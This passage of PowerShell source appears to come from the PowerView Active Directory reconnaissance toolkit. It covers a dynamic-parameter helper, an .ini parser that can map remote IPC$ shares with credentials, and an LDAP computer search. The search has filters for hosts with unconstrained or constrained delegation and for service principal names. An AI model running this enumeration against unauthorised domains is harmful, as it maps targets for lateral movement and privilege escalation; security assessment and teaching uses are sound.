'DynamicParameter')]\r\n        [switch]$ValueFromPipeline,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [switch]$ValueFromPipelineByPropertyName,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [switch]$ValueFromRemainingArguments,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [string]$ParameterSetName = '__AllParameterSets',\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [switch]$AllowNull,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [switch]$AllowEmptyString,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [switch]$AllowEmptyCollection,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [switch]$ValidateNotNull,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [switch]$ValidateNotNullOrEmpty,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [ValidateCount(2,2)]\r\n        [int[]]$ValidateCount,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [ValidateCount(2,2)]\r\n        [int[]]$ValidateRange,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [ValidateCount(2,2)]\r\n        [int[]]$ValidateLength,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [ValidateNotNullOrEmpty()]\r\n        [string]$ValidatePattern,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [ValidateNotNullOrEmpty()]\r\n        [scriptblock]$ValidateScript,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [ValidateNotNullOrEmpty()]\r\n        [string[]]$ValidateSet,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [ValidateNotNullOrEmpty()]\r\n        [ValidateScript({\r\n            if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary]))\r\n            {\r\n                Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object'\r\n            }\r\n            $true\r\n        })]\r\n        $Dictionary = $false,\r\n\r\n        [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]\r\n        [switch]$CreateVariables,\r\n\r\n        [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]\r\n        [ValidateNotNullOrEmpty()]\r\n        [ValidateScript({\r\n            # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,\r\n            # so one can't use PowerShell's '-is' operator to validate type.\r\n            if($_.GetType().Name -notmatch 'Dictionary') {\r\n                Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'\r\n            }\r\n            $true\r\n        })]\r\n        $BoundParameters\r\n    )\r\n\r\n    Begin {\r\n        $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary\r\n        function _temp { [CmdletBinding()] Param() }\r\n        $CommonParameters = (Get-Command _temp).Parameters.Keys\r\n    }\r\n\r\n    Process {\r\n        if($CreateVariables) {\r\n            $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ }\r\n            ForEach($Parameter in $BoundKeys) {\r\n                if ($Parameter) {\r\n                    Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force\r\n                }\r\n            }\r\n        }\r\n        else {\r\n            $StaleKeys = @()\r\n            $StaleKeys = $PSBoundParameters.GetEnumerator() |\r\n                        ForEach-Object {\r\n                            if($_.Value.PSobject.Methods.Name -match '^Equals$') {\r\n                                # If object has Equals, compare bound key and variable using it\r\n                                if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {\r\n                                    $_.Key\r\n                                }\r\n                            }\r\n                            else {\r\n                                # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator\r\n                                if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {\r\n                                    $_.Key\r\n                                }\r\n                            }\r\n                        }\r\n            if($StaleKeys) {\r\n                $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}\r\n            }\r\n\r\n            # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters\r\n            $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator()  |\r\n                                        # Find parameters that are belong to the current parameter set\r\n                                        Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |\r\n                                            Select-Object -ExpandProperty Key |\r\n                                                # Find unbound parameters in the current parameter set\r\n                                                Where-Object { $PSBoundParameters.Keys -notcontains $_ }\r\n\r\n            # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)\r\n            $tmp = $null\r\n            ForEach ($Parameter in $UnboundParameters) {\r\n                $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0\r\n                if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {\r\n                    $PSBoundParameters.$Parameter = $DefaultValue\r\n                }\r\n            }\r\n\r\n            if($Dictionary) {\r\n                $DPDictionary = $Dictionary\r\n            }\r\n            else {\r\n                $DPDictionary = $InternalDictionary\r\n            }\r\n\r\n            # Shortcut for getting local variables\r\n            $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}\r\n\r\n            # Strings to match attributes and validation arguments\r\n            $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$'\r\n            $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'\r\n            $AliasRegex = '^Alias$'\r\n            $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute\r\n\r\n            switch -regex ($PSBoundParameters.Keys) {\r\n                $AttributeRegex {\r\n                    Try {\r\n                        $ParameterAttribute.$_ = . $GetVar\r\n                    }\r\n                    Catch {\r\n                        $_\r\n                    }\r\n                    continue\r\n                }\r\n            }\r\n\r\n            if($DPDictionary.Keys -contains $Name) {\r\n                $DPDictionary.$Name.Attributes.Add($ParameterAttribute)\r\n            }\r\n            else {\r\n                $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]\r\n                switch -regex ($PSBoundParameters.Keys) {\r\n                    $ValidationRegex {\r\n                        Try {\r\n                            $ParameterOptions = New-Object -TypeName \"System.Management.Automation.${_}Attribute\" -ArgumentList (. $GetVar) -ErrorAction Stop\r\n                            $AttributeCollection.Add($ParameterOptions)\r\n                        }\r\n                        Catch { $_ }\r\n                        continue\r\n                    }\r\n                    $AliasRegex {\r\n                        Try {\r\n                            $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop\r\n                            $AttributeCollection.Add($ParameterAlias)\r\n                            continue\r\n                        }\r\n                        Catch { $_ }\r\n                    }\r\n                }\r\n                $AttributeCollection.Add($ParameterAttribute)\r\n                $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)\r\n                $DPDictionary.Add($Name, $Parameter)\r\n            }\r\n        }\r\n    }\r\n\r\n    End {\r\n        if(!$CreateVariables -and !$Dictionary) {\r\n            $DPDictionary\r\n        }\r\n    }\r\n}\r\n\r\n\r\nfunction Get-IniContent {\r\n<#\r\n.SYNOPSIS\r\n\r\nThis helper parses an .ini file into a hashtable.\r\n\r\nAuthor: 'The Scripting Guys'\r\nModifications: @harmj0y (-Credential support)\r\nLicense: BSD 3-Clause\r\nRequired Dependencies: Add-RemoteConnection, Remove-RemoteConnection\r\n\r\n.DESCRIPTION\r\n\r\nParses an .ini file into a hashtable. If -Credential is supplied,\r\nthen Add-RemoteConnection is used to map \\\\COMPUTERNAME\\IPC$, the file\r\nis parsed, and then the connection is destroyed with Remove-RemoteConnection.\r\n\r\n.PARAMETER Path\r\n\r\nSpecifies the path to the .ini file to parse.\r\n\r\n.PARAMETER OutputObject\r\n\r\nSwitch. Output a custom PSObject instead of a hashtable.\r\n\r\n.PARAMETER Credential\r\n\r\nA [Management.Automation.PSCredential] object of alternate credentials\r\nfor connection to the remote system.\r\n\r\n.EXAMPLE\r\n\r\nGet-IniContent C:\\Windows\\example.ini\r\n\r\n.EXAMPLE\r\n\r\n\"C:\\Windows\\example.ini\" | Get-IniContent -OutputObject\r\n\r\nOutputs the .ini details as a proper nested PSObject.\r\n\r\n.EXAMPLE\r\n\r\n\"C:\\Windows\\example.ini\" | Get-IniContent\r\n\r\n.EXAMPLE\r\n\r\n$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\r\n$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)\r\nGet-IniContent -Path \\\\PRIMARY.testlab.local\\C$\\Temp\\GptTmpl.inf -Credential $Cred\r\n\r\n.INPUTS\r\n\r\nString\r\n\r\nAccepts one or more .ini paths on the pipeline.\r\n\r\n.OUTPUTS\r\n\r\nHashtable\r\n\r\nOuputs a hashtable representing the parsed .ini file.\r\n\r\n.LINK\r\n\r\nhttps://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/\r\n#>\r\n\r\n    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]\r\n    [OutputType([Hashtable])]\r\n    [CmdletBinding()]\r\n    Param(\r\n        [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]\r\n        [Alias('FullName', 'Name')]\r\n        [ValidateNotNullOrEmpty()]\r\n        [String[]]\r\n        $Path,\r\n\r\n        [Management.Automation.PSCredential]\r\n        [Management.Automation.CredentialAttribute()]\r\n        $Credential = [Management.Automation.PSCredential]::Empty,\r\n\r\n        [Switch]\r\n        $OutputObject\r\n    )\r\n\r\n    BEGIN {\r\n        $MappedComputers = @{}\r\n    }\r\n\r\n    PROCESS {\r\n        ForEach ($TargetPath in $Path) {\r\n            if (($TargetPath -Match '\\\\\\\\.*\\\\.*') -and ($PSBoundParameters['Credential'])) {\r\n                $HostComputer = (New-Object System.Uri($TargetPath)).Host\r\n                if (-not $MappedComputers[$HostComputer]) {\r\n                    # map IPC$ to this computer if it's not already\r\n                    Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential\r\n                    $MappedComputers[$HostComputer] = $True\r\n                }\r\n            }\r\n\r\n            if (Test-Path -Path $TargetPath) {\r\n                if ($PSBoundParameters['OutputObject']) {\r\n                    $IniObject = New-Object PSObject\r\n                }\r\n                else {\r\n                    $IniObject = @{}\r\n                }\r\n                Switch -Regex -File $TargetPath {\r\n                    \"^\\[(.+)\\]\" # Section\r\n                    {\r\n                        $Section = $matches[1].Trim()\r\n                        if ($PSBoundParameters['OutputObject']) {\r\n                            $Section = $Section.Replace(' ', '')\r\n                            $SectionObject = New-Object PSObject\r\n                            $IniObject | Add-Member Noteproperty $Section $SectionObject\r\n                        }\r\n                        else {\r\n                            $IniObject[$Section] = @{}\r\n                        }\r\n                        $CommentCount = 0\r\n                    }\r\n                    \"^(;.*)$\" # Comment\r\n                    {\r\n                        $Value = $matches[1].Trim()\r\n                        $CommentCount = $CommentCount + 1\r\n                        $Name = 'Comment' + $CommentCount\r\n                        if ($PSBoundParameters['OutputObject']) {\r\n                            $Name = $Name.Replace(' ', '')\r\n                            $IniObject.$Section | Add-Member Noteproperty $Name $Value\r\n                        }\r\n                        else {\r\n                            $IniObject[$Section][$Name] = $Value\r\n                        }\r\n                    }\r\n                    \"(.+?)\\s*=(.*)\" # Key\r\n                    {\r\n                        $Name, $Value = $matches[1..2]\r\n                        $Name = $Name.Trim()\r\n                        $Values = $Value.split(',') | ForEach-Object { $_.Trim() }\r\n\r\n                        # if ($Values -isnot [System.Array]) { $Values = @($Values) }\r\n\r\n                        if ($PSBoundParameters['OutputObject']) {\r\n                            $Name = $Name.Replace(' ', '')\r\n                            $IniObject.$Section | Add-Member Noteproperty $Name $Values\r\n                        }\r\n                        else {\r\n                            $IniObject[$Section][$Name] = $Values\r\n                        }\r\n                    }\r\n                }\r\n                $IniObject\r\n            }\r\n        }\r\n    }\r\n\r\n    END {\r\n        # remove the IPC$ mappings\r\n        $MappedComputers.Keys | Remove-RemoteConnection\r\n    }\r\n}\r\n\r\n\r\nfunction Get-DomainComputer {\r\n<#\r\n.SYNOPSIS\r\n\r\nReturn all computers or specific computer objects in AD.\r\n\r\nAuthor: Will Schroeder (@harmj0y)  \r\nLicense: BSD 3-Clause  \r\nRequired Dependencies: Get-DomainSearcher, Convert-LDAPProperty  \r\n\r\n.DESCRIPTION\r\n\r\nBuilds a directory searcher object using Get-DomainSearcher, builds a custom\r\nLDAP filter based on targeting/filter parameters, and searches for all objects\r\nmatching the criteria. To only return specific properties, use\r\n\"-Properties samaccountname,usnchanged,...\". By default, all computer objects for\r\nthe current domain are returned.\r\n\r\n.PARAMETER Identity\r\n\r\nA SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),\r\nSID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),\r\nor a dns host name (e.g. windows10.testlab.local). Wildcards accepted.\r\n\r\n.PARAMETER UACFilter\r\n\r\nDynamic parameter that accepts one or more values from $UACEnum, including\r\n\"NOT_X\" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.\r\n\r\n.PARAMETER Unconstrained\r\n\r\nSwitch. Return computer objects that have unconstrained delegation.\r\n\r\n.PARAMETER TrustedToAuth\r\n\r\nSwitch. Return computer objects that are trusted to authenticate for other principals.\r\n\r\n.PARAMETER Printers\r\n\r\nSwitch. Return only printers.\r\n\r\n.PARAMETER SPN\r\n\r\nReturn computers with a specific service principal name, wildcards accepted.\r\n\r\n.PARAMETER OperatingSystem\r\n\r\nReturn computers with a specific operating system, wildcards accepted.\r\n\r\n.PARAMETER ServicePack\r\n\r\nReturn computers with a specific service pack, wildcards accepted.\r\n\r\n.PARAMETER SiteName\r\n\r\nReturn computers in the specific AD Site name, wildcards accepted.\r\n\r\n.PARAMETER Ping\r\n\r\nSwitch. Ping each host to ensure it's up before enumerating.\r\n\r\n.PARAMETER Domain\r\n\r\nSpecifies the domain to use for the query, defaults to the current domain.\r\n\r\n.PARAMETER LDAPFilter\r\n\r\nSpecifies an LDAP query string that is used to filter Active Directory objects.\r\n\r\n.PARAMETER Properties\r\n\r\nSpecifies the properties of the output object to retrieve from the server.\r\n\r\n.PARAMETER SearchBase\r\n\r\nThe LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\r\nUseful for OU queries.\r\n\r\n.PARAMETER Server\r\n\r\nSpecifies an Active Directory server (domain controller) to bind to.\r\n\r\n.PARAMETER SearchScope\r\n\r\nSpecifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).\r\n\r\n.PARAMETER ResultPageSize\r\n\r\nSpecifies the PageSize to set for the LDAP searcher object.\r\n\r\n.PARAMETER ServerTimeLimit\r\n\r\nSpecifies the maximum amount of time the server spends searching. Default of 120 seconds.\r\n\r\n.PARAMETER SecurityMasks\r\n\r\nSpecifies an option for examining security information of a directory object.\r\nOne of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.\r\n\r\n.PARAMETER Tombstone\r\n\r\nSwitch. Specifies that the searcher should also return deleted/tombstoned objects.\r\n\r\n.PARAMETER FindOne\r\n\r\nOnly return one result object.\r\n\r\n.PARAMETER Credential\r\n\r\nA [Management.Automation.PSCredential] object of alternate credentials\r\nfor connection to the target domain.\r\n\r\n.PARAMETER Raw\r\n\r\nSwitch. Return raw results instead of translating the fields into a custom PSObject.\r\n\r\n.EXAMPLE\r\n\r\nGet-DomainComputer\r\n\r\nReturns the current computers in current domain.\r\n\r\n.EXAMPLE\r\n\r\nGet-DomainComputer -SPN mssql* -Domain testlab.local\r\n\r\nReturns all MS SQL servers in the testlab.local domain.\r\n\r\n.EXAMPLE\r\n\r\nGet-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname\r\n\r\nReturn the dns hostnames of servers trusted for delegation.\r\n\r\n.EXAMPLE\r\n\r\nGet-DomainComputer -SearchBase \"LDAP://OU=secret,DC=testlab,DC=local\" -Unconstrained\r\n\r\nSearch the specified OU for computeres that allow unconstrained delegation.\r\n\r\n.EXAMPLE\r\n\r\n$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\r\n$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)\r\nGet-DomainComputer -Credential $Cred\r\n\r\n.OUTPUTS\r\n\r\nPowerView.Computer\r\n\r\nCustom PSObject with translated computer property fields.\r\n\r\nPowerView.Computer.Raw\r\n\r\nThe raw DirectoryServices.SearchResult object, if -Raw is enabled.\r\n#>\r\n\r\n    [OutputType('PowerView.Computer')]\r\n    [OutputType('PowerView.Computer.Raw')]\r\n    [CmdletBinding()]\r\n    Param (\r\n        [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]\r\n        [Alias('SamAccountName', 'Name', 'DNSHostName')]\r\n        [String[]]\r\n        $Identity,\r\n\r\n        [Switch]\r\n        $Unconstrained,\r\n\r\n        [Switch]\r\n        $TrustedToAuth,\r\n\r\n        [Switch]\r\n        $Printers,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [Alias('ServicePrincipalName')]\r\n        [String]\r\n        $SPN,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [String]\r\n        $OperatingSystem,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [String]\r\n        $ServicePack,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [String]\r\n        $SiteName,\r\n\r\n        [Switch]\r\n        $Ping,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [String]\r\n        $Domain,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [Alias('Filter')]\r\n        [String]\r\n        $LDAPFilter,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [String[]]\r\n        $Properties,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [Alias('ADSPath')]\r\n        [String]\r\n        $SearchBase,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [Alias('DomainController')]\r\n        [String]\r\n        $Server,\r\n\r\n        [ValidateSet('Base', 'OneLevel', 'Subtree')]\r\n        [String]\r\n        $SearchScope = 'Subtree',\r\n\r\n        [ValidateRange(1, 10000)]\r\n        [Int]\r\n        $ResultPageSize = 200,\r\n\r\n        [ValidateRange(1, 10000)]\r\n        [Int]\r\n        $ServerTimeLimit,\r\n\r\n        [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]\r\n        [String]\r\n        $SecurityMasks,\r\n\r\n        [Switch]\r\n        $Tombstone,\r\n\r\n        [Alias('ReturnOne')]\r\n        [Switch]\r\n        $FindOne,\r\n\r\n        [Management.Automation.PSCredential]\r\n        [Management.Automation.CredentialAttribute()]\r\n        $Credential = [Management.Automation.PSCredential]::Empty,\r\n\r\n        [Switch]\r\n        $Raw\r\n    )\r\n\r\n    DynamicParam {\r\n        $UACValueNames = [Enum]::GetNames($UACEnum)\r\n        # add in the negations\r\n        $UACValueNames = $UACValueNames | ForEach-Object {$_; \"NOT_$_\"}\r\n        # create new dynamic parameter\r\n        New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])\r\n    }\r\n\r\n    BEGIN {\r\n        $SearcherArguments = @{}\r\n        if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }\r\n        if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }\r\n        if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }\r\n        if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }\r\n        if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }\r\n        if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }\r\n        if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }\r\n        if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }\r\n        if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }\r\n        if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }\r\n        $CompSearcher = Get-DomainSearcher @SearcherArguments\r\n    }\r\n\r\n    PROCESS {\r\n        #bind dynamic parameter to a friendly variable\r\n        if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {\r\n            New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters\r\n        }\r\n\r\n        if ($CompSearcher) {\r\n            $IdentityFilter = ''\r\n            $Filter = ''\r\n            $Identity | Where-Object {$_} | ForEach-Object {\r\n                $IdentityInstance = $_.Replace('(', '\\28').Replace(')', '\\29')\r\n                if ($IdentityInstance -match '^S-1-') {\r\n                    $IdentityFilter += \"(objectsid=$IdentityInstance)\"\r\n                }\r\n                elseif ($IdentityInstance -match '^CN=') {\r\n                    $IdentityFilter += \"(distinguishedname=$IdentityInstance)\"\r\n                    if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {\r\n                        # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname\r\n                        #   and rebuild the domain searcher\r\n                        $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'\r\n                        Write-Verbose \"[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'\"\r\n                        $SearcherArguments['Domain'] = $IdentityDomain\r\n                        $CompSearcher = Get-DomainSearcher @SearcherArguments\r\n                        if (-not $CompSearcher) {\r\n                            Write-Warning \"[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'\"\r\n                        }\r\n                    }\r\n                }\r\n                elseif ($IdentityInstance.Contains('.')) {\r\n                    $IdentityFilter += \"(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))\"\r\n                }\r\n                elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {\r\n                    $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\\' + $_.ToString('X2') }) -join ''\r\n                    $IdentityFilter += \"(objectguid=$GuidByteString)\"\r\n                }\r\n                else {\r\n                    $IdentityFilter += \"(name=$IdentityInstance)\"\r\n                }\r\n            }\r\n            if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {\r\n                $Filter += \"(|$IdentityFilter)\"\r\n            }\r\n\r\n            if ($PSBoundParameters['Unconstrained']) {\r\n                Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'\r\n                $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'\r\n            }\r\n            if ($PSBoundParameters['TrustedToAuth']) {\r\n                Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'\r\n                $Filter += '(msds-allowedtodelegateto=*)'\r\n            }\r\n            if ($PSBoundParameters['Printers']) {\r\n                Write-Verbose '[Get-DomainComputer] Searching for printers'\r\n                $Filter += '(objectCategory=printQueue)'\r\n            }\r\n            if ($PSBoundParameters['SPN']) {\r\n                Write-Verbose \"[Get-DomainComputer] Searching for computers with SPN: $SPN\"\r\n                $Filter += \"(servicePrincipalName=$SPN)\"\r\n            }\r\n            if ($PSBoundParameters['OperatingSystem']) {\r\n                Write-Verbose \"[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem\"\r\n                $Filter += \"(operatingsystem=$OperatingSystem)\"\r\n            }\r\n            if ($PSBoundParameters['ServicePack']) {\r\n                Write-Verbose \"[Get-DomainComputer] Searching for computers with service pack: $ServicePack\"\r\n                $Filter += \"(operatingsystemservicepack=$ServicePack)\"\r\n            }\r\n            if ($PSBoundParameters['SiteName']) {\r\n                Write-Verbose \"[Get-DomainComputer] Searching for computers with site name: $SiteName\"\r\n                $Filter += \"(serverreferencebl=$SiteName)\"\r\n            }\r\n            if ($PSBoundParameters['LDAPFilter']) {\r\n                Write-Verbose \"[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter\"\r\n                $Filter += \"$LDAPFilter\"\r\n            }\r\n            # build the LDAP filter for the dynamic UAC filter value\r\n            $UACFilter | Where-Object {$_} | ForEach-Object {\r\n                if ($_ -match 'NOT_.*') {\r\n                    $UACField = $_.Substring(4)\r\n                    $UACValue = [Int]($UACEnum::$UACField)\r\n                    $Filter += \"(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))\"\r\n                }\r\n                else {\r\n                    $UACValue = [Int]($UACEnum::$_)\r\n                    $Filter += \"(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)\"\r\n                }\r\n            }\r\n\r\n            $CompSearcher.filter = \"(&(samAccountType=805306369)$Filter)\"\r\n            Write-Verbose \"[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)\"\r\n\r\n            if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }\r\n            else { $Results = $CompSearcher.FindAll() }\r\n            $Results | Where-Object {$_} | ForEach-Object {\r\n                $Up = $True\r\n                if ($PSBoundParameters['Ping']) {\r\n                    $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname\r\n                }\r\n                if ($Up) {\r\n                    if ($PSBoundParameters['Raw']) {\r\n                        # return raw result objects\r\n                        $Computer = $_\r\n                        $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')\r\n                    }\r\n                    else {\r\n                        $Computer = Convert-LDAPProperty -Properties $_.Properties\r\n                        $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')\r\n                    }\r\n                    $Computer\r\n                }\r\n            }\r\n            if ($Results) {\r\n                try { $Results.dispose() }\r\n                catch {\r\n                    Write-Verbose \"[Get-DomainComputer] Error disposing of the Results object: $_\"\r\n                }\r\n            }\r\n            $CompSearcher.dispose()\r\n        }\r\n    }\r\n}\r\n\r\n\r\nfunction Get-DomainSearcher {\r\n<#\r\n.SYNOPSIS\r\n\r\nHelper used by various functions that builds a custom AD searcher object.\r\n\r\nAuthor: Will Schroeder (@harmj0y)  \r\nLicense: BSD 3-Clause  \r\nRequired Dependencies: Get-Domain  \r\n\r\n.DESCRIPTION\r\n\r\nTakes a given domain and a number of customizations and returns a\r\nSystem.DirectoryServices.DirectorySearcher object. This function is used\r\nheavily by other LDAP/ADSI searcher functions (Verb-Domain*).\r\n\r\n.PARAMETER Domain\r\n\r\nSpecifies the domain to use for the query, defaults to the current domain.\r\n\r\n.PARAMETER LDAPFilter\r\n\r\nSpecifies an LDAP query string that is used to filter Active Directory objects.\r\n\r\n.PARAMETER Properties\r\n\r\nSpecifies the properties of the output object to retrieve from the server.\r\n\r\n.PARAMETER SearchBase\r\n\r\nThe LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\r\nUseful for OU queries.\r\n\r\n.PARAMETER SearchBasePrefix\r\n\r\nSpecifies a prefix for the LDAP search string (i.e. \"CN=Sites,CN=Configuration\").\r\n\r\n.PARAMETER Server\r\n\r\nSpecifies an Active Directory server (domain controller) to bind to for the search.\r\n\r\n.PARAMETER SearchScope\r\n\r\nSpecifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).\r\n\r\n.PARAMETER ResultPageSize\r\n\r\nSpecifies the PageSize to set for the LDAP searcher object.\r\n\r\n.PARAMETER ResultPageSize\r\n\r\nSpecifies the PageSize to set for the LDAP searcher object.\r\n\r\n.PARAMETER ServerTimeLimit\r\n\r\nSpecifies the maximum amount of time the server spends searching. Default of 120 seconds.\r\n\r\n.PARAMETER SecurityMasks\r\n\r\nSpecifies an option for examining security information of a directory object.\r\nOne of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.\r\n\r\n.PARAMETER Tombstone\r\n\r\nSwitch. Specifies that the searcher should also return deleted/tombstoned objects.\r\n\r\n.PARAMETER Credential\r\n\r\nA [Management.Automation.PSCredential] object of alternate credentials\r\nfor connection to the target domain.\r\n\r\n.EXAMPLE\r\n\r\nGet-DomainSearcher -Domain testlab.local\r\n\r\nReturn a searcher for all objects in testlab.local.\r\n\r\n.EXAMPLE\r\n\r\nGet-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'\r\n\r\nReturn a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.\r\n\r\n.EXAMPLE\r\n\r\nGet-DomainSearcher -SearchBase \"LDAP://OU=secret,DC=testlab,DC=local\"\r\n\r\nReturn a searcher that searches through the specific 